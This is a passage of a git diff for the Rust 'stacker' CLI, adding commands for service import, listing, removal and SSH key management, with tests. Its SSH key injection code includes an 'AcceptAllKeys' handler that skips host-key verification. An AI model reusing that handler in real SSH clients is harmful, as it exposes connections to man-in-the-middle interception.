Re-run with --review to inspect only, or --yes to import non-interactively." + )) + })?; + + if !confirmed { + println!("Aborted."); + return Ok(()); + } + } + + let backup_path = import_services_into_config(path, config, &plan)?; + let updated_config = StackerConfig::from_file_raw(path)?; + let imported_service_names: Vec = plan + .services + .iter() + .map(|service| service.name.clone()) + .collect(); + let compose_sync = sync_configured_compose_services( + &project_dir_for_config(path), + &updated_config, + &imported_service_names, + )?; + + if self.json { + let output = ServiceImportCommandOutput { + status: "imported", + config_file: config_path.to_string(), + backup_file: Some(backup_path.clone()), + review: &plan.review, + imported_services: updated_config + .services + .iter() + .filter(|service| { + plan.services + .iter() + .any(|imported| imported.name == service.name) + }) + .map(|service| service.name.clone()) + .collect(), + }; + println!("{}", serde_json::to_string_pretty(&output)?); + } else { + println!( + "✓ Imported {} service(s) into {}", + plan.services.len(), + config_path + ); + eprintln!(" Backup saved to {}", backup_path); + print_compose_sync_result(&compose_sync); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// service list +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker service list [--online]` +/// +/// Lists all available service templates from the hardcoded catalog. +/// With `--online`, also queries the marketplace API. +pub struct ServiceListCommand { + pub online: bool, +} + +impl ServiceListCommand { + pub fn new(online: bool) -> Self { + Self { online } + } +} + +impl CallableTrait for ServiceListCommand { + fn call(&self) -> Result<(), Box> { + let catalog = ServiceCatalog::offline(); + let entries = catalog.list_available(); + + // Group by category + let mut by_category: std::collections::BTreeMap> = + std::collections::BTreeMap::new(); + for entry in &entries { + by_category + .entry(entry.category.clone()) + .or_default() + .push(entry); + } + + println!("Available service templates:"); + println!(); + + for (category, services) in &by_category { + println!(" {} {}:", category_icon(category), capitalize(category)); + for svc in services { + println!( + " {:<22} {:<30} {}", + svc.code, svc.service.image, svc.description + ); + } + println!(); + } + + println!("Usage: stacker service add "); + println!("Aliases: wp, pg, my, mongo, es, mq, pma, smtp, mail, mh"); + + if self.online { + eprintln!(); + eprintln!("Marketplace templates:"); + match try_build_online_catalog() { + Some(client) => { + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to create async runtime: {}", + e + )) + })?; + + match rt.block_on(client.list_marketplace_templates(None, None)) { + Ok(templates) if templates.is_empty() => { + eprintln!(" (no marketplace templates available)"); + } + Ok(templates) => { + for t in &templates { + eprintln!( + " {:<22} {}", + t.slug, + t.description.as_deref().unwrap_or(""), + ); + } + } + Err(e) => { + eprintln!(" (failed to fetch: {})", e); + } + } + } + None => { + eprintln!(" (requires login: stacker login)"); + } + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// service remove +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker service remove [--file ]` +/// +/// Removes a service entry from the `services` array in stacker.yml after +/// confirming with the user. +pub struct ServiceRemoveCommand { + pub name: String, + pub file: Option, +} + +impl ServiceRemoveCommand { + pub fn new(name: String, file: Option) -> Self { + Self { name, file } + } +} + +impl CallableTrait for ServiceRemoveCommand { + fn call(&self) -> Result<(), Box> { + let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE); + let path = Path::new(config_path); + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + let mut config = StackerConfig::from_file_raw(path)?; + let canonical = ServiceCatalog::resolve_alias(&self.name); + + if !config.services.iter().any(|s| s.name == canonical) { + eprintln!("⚠ Service '{}' not found in {}.", canonical, config_path); + return Ok(()); + } + + let confirmed = Confirm::new() + .with_prompt(format!("Remove '{}' from {}?", canonical, config_path)) + .default(false) + .interact() + .map_err(|e| CliError::ConfigValidation(format!("Prompt error: {}", e)))?; + + if !confirmed { + println!("Aborted."); + return Ok(()); + } + + config.services.retain(|s| s.name != canonical); + + let yaml = serde_yaml::to_string(&config).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize config: {}", e)) + })?; + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + std::fs::write(config_path, &yaml)?; + + println!("✓ Removed '{}' from {}", canonical, config_path); + eprintln!(" Backup saved to {}", backup_path); + + Ok(()) + } +} + +// ── Helpers ────────────────────────────────────────── + +#[derive(Serialize)] +struct ServiceImportCommandOutput<'a> { + status: &'static str, + config_file: String, + backup_file: Option, + review: &'a ServiceImportReview, + imported_services: Vec, +} + +fn validate_no_duplicate_services( + config: &StackerConfig, + plan: &ServiceImportPlan, +) -> Result<(), CliError> { + for imported in &plan.services { + if config.services.iter().any(|svc| svc.name == imported.name) { + return Err(CliError::ConfigValidation(format!( + "Service '{}' already exists in stacker.yml. Use --rename old=new or choose a different import name.", + imported.name + ))); + } + } + Ok(()) +} + +fn import_services_into_config( + path: &Path, + mut config: StackerConfig, + plan: &ServiceImportPlan, +) -> Result> { + for service in &plan.services { + config.services.push(service.clone()); + } + + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + + let config_path = path.to_string_lossy().to_string(); + let backup_path = format!("{}.bak", config_path); + std::fs::copy(path, &backup_path)?; + std::fs::write(path, &yaml)?; + Ok(backup_path) +} + +fn print_import_plan(plan: &ServiceImportPlan) { + let review = &plan.review; + println!("Custom service import review: {}", review.import_name); + println!(); + + for service in &review.services { + println!(" Service: {} (from {})", service.name, service.source_name); + println!(" Image: {}", service.image); + if !service.ports.is_empty() { + println!(" Ports: {}", service.ports.join(", ")); + } + if !service.environment_keys.is_empty() { + println!(" Env keys: {}", service.environment_keys.join(", ")); + } + if !service.volumes.is_empty() { + println!(" Volumes: {}", service.volumes.join(", ")); + } + if !service.depends_on.is_empty() { + println!(" Depends on: {}", service.depends_on.join(", ")); + } + if !service.unsupported_fields.is_empty() { + println!( + " Unsupported Compose fields: {}", + service.unsupported_fields.join(", ") + ); + } + } + + if !review.risks.is_empty() { + println!(); + println!(" Risks to review:"); + for risk in &review.risks { + println!(" - [{}] {}: {}", risk.service, risk.kind, risk.detail); + } + } + + if !review.guidance.is_empty() { + println!(); + println!(" Guidance:"); + for item in &review.guidance { + println!(" - {}", item); + } + } + + if let Ok(yaml) = serde_yaml::to_string(&plan.services) { + println!(); + println!(" stacker.yml services to append:"); + for line in yaml.lines() { + println!(" {}", line); + } + } +} + +fn project_dir_for_config(path: &Path) -> PathBuf { + path.parent() + .filter(|parent| !parent.as_os_str().is_empty()) + .map(Path::to_path_buf) + .unwrap_or_else(|| PathBuf::from(".")) +} + +fn print_compose_sync_result(result: &ComposeServiceSyncResult) { + if result.updated_services.is_empty() { + return; + } + if let Some(path) = result.compose_path.as_ref() { + eprintln!( + " Updated compose file {} with service(s): {}", + path.display(), + result.updated_services.join(", ") + ); + } + if let Some(path) = result.backup_path.as_ref() { + eprintln!(" Compose backup saved to {}", path.display()); + } +} + +/// Try to build a `StackerClient` from stored credentials (best-effort). +fn try_build_online_catalog() -> Option { + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("service catalog").ok()?; + Some(StackerClient::new( + stacker_client::DEFAULT_STACKER_URL, + &creds.access_token, + )) +} + +fn category_icon(category: &str) -> &str { + match category { + "database" => "🗄", + "cache" => "⚡", + "queue" => "📨", + "proxy" => "🔀", + "web" => "🌐", + "search" => "🔍", + "monitoring" => "📊", + "devtool" => "🛠", + "storage" => "💾", + "mail" => "✉", + _ => "📦", + } +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write_config(dir: &TempDir, body: &str) -> PathBuf { + let path = dir.path().join("stacker.yml"); + std::fs::write(&path, body).unwrap(); + path + } + + fn write_compose(dir: &TempDir, body: &str) -> PathBuf { + let path = dir.path().join("compose.yml"); + std::fs::write(&path, body).unwrap(); + path + } + + fn import_command( + config_path: &Path, + compose_path: &Path, + review: bool, + yes: bool, + ) -> ServiceImportCommand { + ServiceImportCommand::new( + "smtp".to_string(), + Some(compose_path.to_path_buf()), + None, + None, + Some("mailserver".to_string()), + Vec::new(), + Some(config_path.to_string_lossy().to_string()), + review, + yes, + false, + ) + } + + #[test] + fn service_import_review_only_does_not_write_config_or_backup() { + let dir = TempDir::new().unwrap(); + let config_path = write_config( + &dir, + r#" +name: test-app +app: + type: static +services: [] +"#, + ); + let compose_path = write_compose( + &dir, + r#" +services: + mailserver: + image: docker.io/mailserver/docker-mailserver:latest + environment: + ACCOUNT_PASSWORD: literal-secret +"#, + ); + let original = std::fs::read_to_string(&config_path).unwrap(); + + import_command(&config_path, &compose_path, true, false) + .call() + .unwrap(); + + assert_eq!(std::fs::read_to_string(&config_path).unwrap(), original); + assert!(!Path::new(&format!("{}.bak", config_path.to_string_lossy())).exists()); + } + + #[test] + fn service_import_prevents_duplicate_service_names() { + let dir = TempDir::new().unwrap(); + let config_path = write_config( + &dir, + r#" +name: test-app +app: + type: static +services: + - name: smtp + image: trydirect/smtp +"#, + ); + let compose_path = write_compose( + &dir, + r#" +services: + mailserver: + image: docker.io/mailserver/docker-mailserver:latest +"#, + ); + + let err = import_command(&config_path, &compose_path, false, true) + .call() + .unwrap_err(); + assert!(err.to_string().contains("already exists")); + } + + #[test] + fn service_import_writes_backup_and_preserves_secret_placeholders() { + let dir = TempDir::new().unwrap(); + let config_path = write_config( + &dir, + r#" +name: test-app +app: + type: static +services: [] +"#, + ); + let compose_path = write_compose( + &dir, + r#" +services: + mailserver: + image: docker.io/mailserver/docker-mailserver:latest + ports: + - "25:25" + environment: + ACCOUNT_PASSWORD: literal-secret + POSTMASTER_ADDRESS: postmaster@example.com + volumes: + - maildata:/var/mail +"#, + ); + + import_command(&config_path, &compose_path, false, true) + .call() + .unwrap(); + + let backup_path = format!("{}.bak", config_path.to_string_lossy()); + assert!(Path::new(&backup_path).exists()); + let config = StackerConfig::from_file_raw(&config_path).unwrap(); + let service = config + .services + .iter() + .find(|service| service.name == "smtp") + .unwrap(); + assert_eq!(service.ports, vec!["25:25"]); + assert_eq!( + service.environment.get("ACCOUNT_PASSWORD").unwrap(), + "${ACCOUNT_PASSWORD}" + ); + assert_eq!( + service.environment.get("POSTMASTER_ADDRESS").unwrap(), + "postmaster@example.com" + ); + } +} + +fn capitalize(s: &str) -> String { + let mut chars = s.chars(); + match chars.next() { + None => String::new(), + Some(c) => c.to_uppercase().to_string() + chars.as_str(), + } +} diff --git a/stacker/stacker/src/console/commands/cli/ssh_key.rs b/stacker/stacker/src/console/commands/cli/ssh_key.rs new file mode 100644 index 0000000..fd7c50c --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/ssh_key.rs @@ -0,0 +1,684 @@ +//! SSH key management commands — generate, show (read), upload, and inject keys. +//! +//! All operations call the Stacker server REST API (`/server/{id}/ssh-key/*`) +//! which stores keys in HashiCorp Vault. Requires `stacker login` first. + +use std::path::{Path, PathBuf}; + +use crate::cli::credentials::FileCredentialStore; +use crate::cli::error::CliError; +use crate::cli::runtime::CliRuntime; +use crate::cli::stacker_client::{AuthorizePublicKeyResponse, ServerInfo, StackerClient}; +use crate::console::commands::CallableTrait; +use crate::helpers::VaultClient; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ssh-key generate +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ssh-key generate --server-id [--save-to ]` +/// +/// Generates a new Ed25519 SSH key pair on the server and stores it in Vault. +/// Prints the public key and fingerprint. If Vault storage fails, the server +/// returns the private key inline — use `--save-to` to save it to a local file. +pub struct SshKeyGenerateCommand { + pub server_id: i32, + pub save_to: Option, +} + +impl SshKeyGenerateCommand { + pub fn new(server_id: i32, save_to: Option) -> Self { + Self { server_id, save_to } + } +} + +impl CallableTrait for SshKeyGenerateCommand { + fn call(&self) -> Result<(), Box> { + let server_id = self.server_id; + let save_to = self.save_to.clone(); + + let ctx = CliRuntime::new("ssh-key generate")?; + + ctx.block_on(async { + let result = ctx.client.generate_ssh_key(server_id).await?; + + println!("✓ SSH key generated for server {}", server_id); + println!(); + println!(" Public key:"); + println!(" {}", result.public_key); + if let Some(fp) = &result.fingerprint { + println!(" Fingerprint: {}", fp); + } + println!(" Message: {}", result.message); + + // If the private key was returned (Vault storage failed), offer to save it + if let Some(private_key) = &result.private_key { + eprintln!(); + eprintln!(" ⚠ Vault storage failed — private key returned inline."); + if let Some(path) = save_to { + std::fs::write(&path, private_key)?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o600))?; + } + eprintln!(" ✓ Private key saved to {} (mode 600)", path.display()); + } else { + eprintln!(" Use --save-to to save the private key to a file."); + } + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ssh-key show +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ssh-key show --server-id [--json]` +/// +/// Retrieves the public SSH key for a server from Vault. +pub struct SshKeyShowCommand { + pub server_id: i32, + pub json: bool, +} + +impl SshKeyShowCommand { + pub fn new(server_id: i32, json: bool) -> Self { + Self { server_id, json } + } +} + +impl CallableTrait for SshKeyShowCommand { + fn call(&self) -> Result<(), Box> { + let server_id = self.server_id; + let json = self.json; + + let ctx = CliRuntime::new("ssh-key show")?; + + ctx.block_on(async { + let result = ctx.client.get_ssh_public_key(server_id).await?; + + if json { + println!("{}", serde_json::to_string_pretty(&result)?); + } else { + println!("SSH public key for server {}:", server_id); + println!(); + println!("{}", result.public_key); + if let Some(fp) = &result.fingerprint { + println!(); + println!("Fingerprint: {}", fp); + } + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ssh-key upload +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ssh-key upload --server-id --public-key --private-key ` +/// +/// Uploads an existing SSH key pair to Vault for a server. +pub struct SshKeyUploadCommand { + pub server_id: i32, + pub public_key: PathBuf, + pub private_key: PathBuf, +} + +impl SshKeyUploadCommand { + pub fn new(server_id: i32, public_key: PathBuf, private_key: PathBuf) -> Self { + Self { + server_id, + public_key, + private_key, + } + } +} + +impl CallableTrait for SshKeyUploadCommand { + fn call(&self) -> Result<(), Box> { + let server_id = self.server_id; + let pub_path = self.public_key.clone(); + let priv_path = self.private_key.clone(); + + // Read key files + let public_key = std::fs::read_to_string(&pub_path).map_err(|e| { + CliError::Io(std::io::Error::new( + e.kind(), + format!("Failed to read public key {}: {}", pub_path.display(), e), + )) + })?; + let private_key = std::fs::read_to_string(&priv_path).map_err(|e| { + CliError::Io(std::io::Error::new( + e.kind(), + format!("Failed to read private key {}: {}", priv_path.display(), e), + )) + })?; + + let ctx = CliRuntime::new("ssh-key upload")?; + + ctx.block_on(async { + let server = ctx + .client + .upload_ssh_key(server_id, public_key.trim(), private_key.trim()) + .await?; + + println!("✓ SSH key uploaded for server {}", server_id); + println!(" Key status: {}", server.key_status); + if let Some(name) = &server.name { + println!(" Server: {}", name); + } + if let Some(ip) = &server.srv_ip { + println!(" IP: {}", ip); + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Local backup key helpers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone)] +pub struct LocalBackupKeyAuthorization { + pub private_key_path: PathBuf, + pub public_key_path: PathBuf, + pub ssh_command: String, + pub response: AuthorizePublicKeyResponse, +} + +#[derive(Debug, Clone)] +struct LocalBackupKeypair { + private_key_path: PathBuf, + public_key_path: PathBuf, + public_key: String, +} + +pub async fn ensure_local_backup_key_authorized( + client: &StackerClient, + server: &ServerInfo, +) -> Result { + let keypair = ensure_local_backup_keypair(server.id)?; + let response = client + .authorize_ssh_public_key(server.id, keypair.public_key.trim(), None, None) + .await?; + let ssh_command = format_ssh_command( + &keypair.private_key_path, + &response.ssh_user, + &response.srv_ip, + response.ssh_port, + ); + + Ok(LocalBackupKeyAuthorization { + private_key_path: keypair.private_key_path, + public_key_path: keypair.public_key_path, + ssh_command, + response, + }) +} + +fn default_backup_ssh_dir() -> PathBuf { + FileCredentialStore::default_path() + .parent() + .map(|path| path.join("ssh")) + .unwrap_or_else(|| PathBuf::from("stacker").join("ssh")) +} + +fn backup_key_paths_for_server(server_id: i32, ssh_dir: &Path) -> (PathBuf, PathBuf) { + let private_key_path = ssh_dir.join(format!("server-{}_ed25519", server_id)); + let public_key_path = PathBuf::from(format!("{}.pub", private_key_path.display())); + (private_key_path, public_key_path) +} + +fn ensure_local_backup_keypair(server_id: i32) -> Result { + ensure_local_backup_keypair_in_dir(server_id, &default_backup_ssh_dir()) +} + +fn ensure_local_backup_keypair_in_dir( + server_id: i32, + ssh_dir: &Path, +) -> Result { + std::fs::create_dir_all(ssh_dir)?; + set_private_dir_permissions(ssh_dir)?; + + let (private_key_path, public_key_path) = backup_key_paths_for_server(server_id, ssh_dir); + + let public_key = if private_key_path.exists() { + let private_key = std::fs::read_to_string(&private_key_path).map_err(|e| { + CliError::Io(std::io::Error::new( + e.kind(), + format!( + "Failed to read backup SSH key {}: {}", + private_key_path.display(), + e + ), + )) + })?; + let public_key = derive_public_key_from_private(&private_key)?; + write_public_key_file(&public_key_path, &public_key)?; + public_key + } else { + let (public_key, private_key) = VaultClient::generate_ssh_keypair().map_err(|e| { + CliError::ConfigValidation(format!("Failed to generate local backup SSH key: {}", e)) + })?; + write_private_key_file(&private_key_path, &private_key)?; + write_public_key_file(&public_key_path, &public_key)?; + public_key + }; + + Ok(LocalBackupKeypair { + private_key_path, + public_key_path, + public_key, + }) +} + +fn derive_public_key_from_private(private_key: &str) -> Result { + let private = ssh_key::PrivateKey::from_openssh(private_key).map_err(|e| { + CliError::ConfigValidation(format!("Invalid local backup SSH private key: {}", e)) + })?; + private.public_key().to_openssh().map_err(|e| { + CliError::ConfigValidation(format!("Failed to derive local backup public key: {}", e)) + }) +} + +fn write_private_key_file(path: &Path, private_key: &str) -> Result<(), CliError> { + use std::io::Write; + + let mut file = std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .open(path) + .map_err(|e| { + CliError::Io(std::io::Error::new( + e.kind(), + format!( + "Failed to create backup SSH private key {}: {}", + path.display(), + e + ), + )) + })?; + file.write_all(private_key.as_bytes())?; + set_private_file_permissions(path)?; + Ok(()) +} + +fn write_public_key_file(path: &Path, public_key: &str) -> Result<(), CliError> { + std::fs::write(path, format!("{}\n", public_key.trim()))?; + Ok(()) +} + +#[cfg(unix)] +fn set_private_dir_permissions(path: &Path) -> Result<(), CliError> { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700))?; + Ok(()) +} + +#[cfg(not(unix))] +fn set_private_dir_permissions(_path: &Path) -> Result<(), CliError> { + Ok(()) +} + +#[cfg(unix)] +fn set_private_file_permissions(path: &Path) -> Result<(), CliError> { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600))?; + Ok(()) +} + +#[cfg(not(unix))] +fn set_private_file_permissions(_path: &Path) -> Result<(), CliError> { + Ok(()) +} + +fn format_ssh_command(private_key_path: &Path, user: &str, host: &str, port: u16) -> String { + format!( + "ssh -i {} -p {} {}@{}", + private_key_path.display(), + port, + user, + host + ) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ssh-key inject +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ssh-key inject --server-id --with-key [--user ] [--port ]` +/// +/// Fetches the Vault-stored public key for a server and bootstraps it into the +/// server's `~/.ssh/authorized_keys` using a locally-available private key that +/// already works for SSH login. +/// +/// Use this to repair a server whose `authorized_keys` doesn't contain the +/// Stacker-managed Vault key (for example after a fresh key generation that +/// failed to inject automatically). If you want Stacker to use your local key +/// pair instead, use `ssh-key upload`. +pub struct SshKeyInjectCommand { + pub server_id: i32, + /// Path to a local private key that already grants SSH access to the server. + pub with_key: PathBuf, + /// SSH user (default: root) + pub user: Option, + /// SSH port override (default: server's stored ssh_port or 22) + pub port: Option, +} + +impl SshKeyInjectCommand { + pub fn new(server_id: i32, with_key: PathBuf, user: Option, port: Option) -> Self { + Self { + server_id, + with_key, + user, + port, + } + } +} + +fn validate_bootstrap_private_key_path(key_path: &Path) -> Result<(), CliError> { + if key_path.extension().and_then(|ext| ext.to_str()) == Some("pub") { + return Err(CliError::ConfigValidation(format!( + "`--with-key` expects a private key file, not a public key: {}. Pass a private key that already grants SSH access to the server.", + key_path.display() + ))); + } + + Ok(()) +} + +impl CallableTrait for SshKeyInjectCommand { + fn call(&self) -> Result<(), Box> { + let server_id = self.server_id; + let key_path = self.with_key.clone(); + let override_user = self.user.clone(); + let override_port = self.port; + + validate_bootstrap_private_key_path(&key_path)?; + + // Read the local working private key + let local_private_key = std::fs::read_to_string(&key_path).map_err(|e| { + CliError::Io(std::io::Error::new( + e.kind(), + format!("Failed to read key file {}: {}", key_path.display(), e), + )) + })?; + + let ctx = CliRuntime::new("ssh-key inject")?; + + ctx.block_on(async { + // Fetch server info to get IP, port, and user + let servers = ctx.client.list_servers().await?; + let server_info = servers + .into_iter() + .find(|s| s.id == server_id) + .ok_or_else(|| { + CliError::ConfigValidation(format!("Server {} not found", server_id)) + })?; + + let host = server_info + .srv_ip + .as_deref() + .filter(|ip| !ip.is_empty()) + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "Server {} has no IP address — deploy it first", + server_id + )) + })? + .to_string(); + + let port = override_port.unwrap_or_else(|| server_info.ssh_port.unwrap_or(22) as u16); + let user = override_user + .or_else(|| server_info.ssh_user.clone()) + .unwrap_or_else(|| "root".to_string()); + + // Fetch the vault public key + let key_resp = ctx.client.get_ssh_public_key(server_id).await?; + let vault_public_key = key_resp.public_key.trim().to_string(); + + println!("Server: {} (ID {})", host, server_id); + println!("SSH user: {} port: {}", user, port); + println!( + "Vault key: {}", + &vault_public_key[..vault_public_key.len().min(60)] + ); + println!(); + println!( + "Connecting with the bootstrap key to add the Vault key into authorized_keys..." + ); + + inject_key_via_ssh( + &host, + port, + &user, + local_private_key.trim(), + &vault_public_key, + ) + .await + }) + } +} + +/// SSH into the server using `local_private_key` and append `vault_public_key` +/// to `~/.ssh/authorized_keys` if it is not already present. +async fn inject_key_via_ssh( + host: &str, + port: u16, + username: &str, + local_private_key: &str, + vault_public_key: &str, +) -> Result<(), Box> { + use russh::client::{Config, Handle}; + use std::sync::Arc; + use std::time::Duration; + + struct AcceptAllKeys; + + impl russh::client::Handler for AcceptAllKeys { + type Error = russh::Error; + async fn check_server_key( + &mut self, + _server_public_key: &russh::keys::PublicKey, + ) -> Result { + Ok(true) + } + } + + let key = russh::keys::decode_secret_key(local_private_key, None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid private key: {}", e)))?; + + let config = Arc::new(Config { + ..Default::default() + }); + + let addr = format!("{}:{}", host, port); + let mut handle: Handle = tokio::time::timeout( + Duration::from_secs(4), + russh::client::connect(config, addr, AcceptAllKeys), + ) + .await + .map_err(|_| CliError::ConfigValidation(format!("Connection to {}:{} timed out", host, port)))? + .map_err(|e| CliError::ConfigValidation(format!("Connection failed: {}", e)))?; + + let auth_res = handle + .authenticate_publickey( + username, + russh::keys::key::PrivateKeyWithHashAlg::new( + Arc::new(key), + handle + .best_supported_rsa_hash() + .await + .map_err(|e| { + CliError::ConfigValidation(format!("RSA hash negotiation failed: {}", e)) + })? + .flatten(), + ), + ) + .await + .map_err(|e| CliError::ConfigValidation(format!("Authentication error: {}", e)))?; + + if !auth_res.success() { + return Err(Box::new(CliError::ConfigValidation( + "Authentication failed — the provided private key is not accepted by the server. `ssh-key inject` requires a bootstrap private key that already grants SSH access." + .to_string(), + ))); + } + + // Idempotent inject: add key only if not already present + let safe_key = vault_public_key.replace('\'', r"'\''"); + let cmd = format!( + "mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && \ + grep -qxF '{}' ~/.ssh/authorized_keys || echo '{}' >> ~/.ssh/authorized_keys", + safe_key, safe_key + ); + + let mut channel = handle + .channel_open_session() + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to open SSH channel: {}", e)))?; + channel + .exec(true, cmd) + .await + .map_err(|e| CliError::ConfigValidation(format!("Failed to exec command: {}", e)))?; + + // Drain channel output + loop { + match channel.wait().await { + Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break, + Some(russh::ChannelMsg::ExitStatus { exit_status }) => { + if exit_status != 0 { + return Err(Box::new(CliError::ConfigValidation(format!( + "Remote command exited with status {}", + exit_status + )))); + } + break; + } + _ => {} + } + } + + let _ = channel.eof().await; + let _ = handle + .disconnect(russh::Disconnect::ByApplication, "", "English") + .await; + + println!( + "✓ Vault public key injected into {}@{}:{} authorized_keys", + username, host, port + ); + println!(); + println!("You can now run: stacker deploy"); + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::{ + backup_key_paths_for_server, ensure_local_backup_keypair_in_dir, format_ssh_command, + validate_bootstrap_private_key_path, + }; + use crate::cli::error::CliError; + use crate::helpers::VaultClient; + use std::path::Path; + use tempfile::TempDir; + + #[test] + fn rejects_public_key_file_for_ssh_key_inject() { + let err = validate_bootstrap_private_key_path(Path::new("/tmp/id_ed25519.pub")) + .expect_err("public key paths must be rejected"); + + match err { + CliError::ConfigValidation(message) => { + assert!(message.contains("expects a private key file")); + assert!(message.contains("id_ed25519.pub")); + } + other => panic!("unexpected error: {other}"), + } + } + + #[test] + fn accepts_private_key_file_for_ssh_key_inject() { + validate_bootstrap_private_key_path(Path::new("/tmp/id_ed25519")) + .expect("private key paths should be accepted"); + } + + #[test] + fn backup_key_paths_use_config_scoped_ssh_directory() { + let ssh_dir = Path::new("/home/user/.config/stacker/ssh"); + let (private_key_path, public_key_path) = backup_key_paths_for_server(42, ssh_dir); + + assert_eq!( + private_key_path, + Path::new("/home/user/.config/stacker/ssh/server-42_ed25519") + ); + assert_eq!( + public_key_path, + Path::new("/home/user/.config/stacker/ssh/server-42_ed25519.pub") + ); + } + + #[test] + fn local_backup_keypair_uses_existing_generate_keypair_helper_and_reuses_private_key() { + let dir = TempDir::new().expect("tempdir"); + let keypair = ensure_local_backup_keypair_in_dir(7, dir.path()).expect("generate keypair"); + let private_before = + std::fs::read_to_string(&keypair.private_key_path).expect("private key"); + let public_before = std::fs::read_to_string(&keypair.public_key_path).expect("public key"); + + let regenerated = + ensure_local_backup_keypair_in_dir(7, dir.path()).expect("reuse existing keypair"); + let private_after = + std::fs::read_to_string(®enerated.private_key_path).expect("private key"); + let public_after = + std::fs::read_to_string(®enerated.public_key_path).expect("public key"); + + assert_eq!(private_before, private_after); + assert_eq!(public_before, public_after); + assert!(private_before.contains("OPENSSH PRIVATE KEY")); + assert!(public_before.starts_with("ssh-ed25519 ")); + } + + #[test] + fn local_backup_keypair_derives_public_key_when_pub_file_is_missing() { + let dir = TempDir::new().expect("tempdir"); + let (public_key, private_key) = VaultClient::generate_ssh_keypair().expect("keypair"); + let (private_key_path, public_key_path) = backup_key_paths_for_server(8, dir.path()); + std::fs::write(&private_key_path, private_key).expect("write private key"); + + let keypair = ensure_local_backup_keypair_in_dir(8, dir.path()).expect("reuse keypair"); + + assert_eq!(keypair.public_key, public_key); + assert_eq!( + std::fs::read_to_string(public_key_path).expect("public key file"), + format!("{}\n", public_key) + ); + } + + #[test] + fn formats_copy_paste_ssh_command() { + let command = format_ssh_command( + Path::new("/home/user/.config/stacker/ssh/server-42_ed25519"), + "root", + "203.0.113.10", + 2222, + ); + + assert_eq!( + command, + "ssh -i /home/user/.config/stacker/ssh/server-42_ed25519 -p 2222 root@203.0.113.10" + ); + } +} diff --git a/stacker/stacker/src/console/commands/cli/status.rs b/stacker/stacker/src/console/commands/cli/status.rs new file mode 100644 index 0000000..4fc714b --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/status.rs @@ -0,0 +1,818 @@ +use std::path::Path; + +use crate::cli::config_parser::{CloudOrchestrator, DeployTarget, ProxyType, StackerConfig}; +use crate::cli::credentials::{CredentialsManager, StoredCredentials}; +use crate::cli::error::CliError; +use crate::cli::install_runner::{CommandExecutor, CommandOutput, ShellExecutor}; +use crate::cli::local_compose::resolve_local_compose_path; +use crate::cli::stacker_client::{self, DeploymentStatusInfo, ServerInfo, StackerClient}; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker status [--json] [--watch]` +/// +/// Shows the current deployment status. +/// +/// - **Local deployments**: runs `docker compose ps` for container status. +/// - **Cloud deployments**: queries the Stacker server API for deployment +/// progress (pending → in_progress → completed / failed). +/// When `--watch` is used, polls every 5 seconds until a terminal status. +pub struct StatusCommand { + pub json: bool, + pub watch: bool, +} + +impl StatusCommand { + pub fn new(json: bool, watch: bool) -> Self { + Self { json, watch } + } +} + +/// Build `docker compose ps` arguments. +pub fn build_status_args(compose_path: &str, json: bool) -> Vec { + let mut args = vec![ + "compose".to_string(), + "-f".to_string(), + 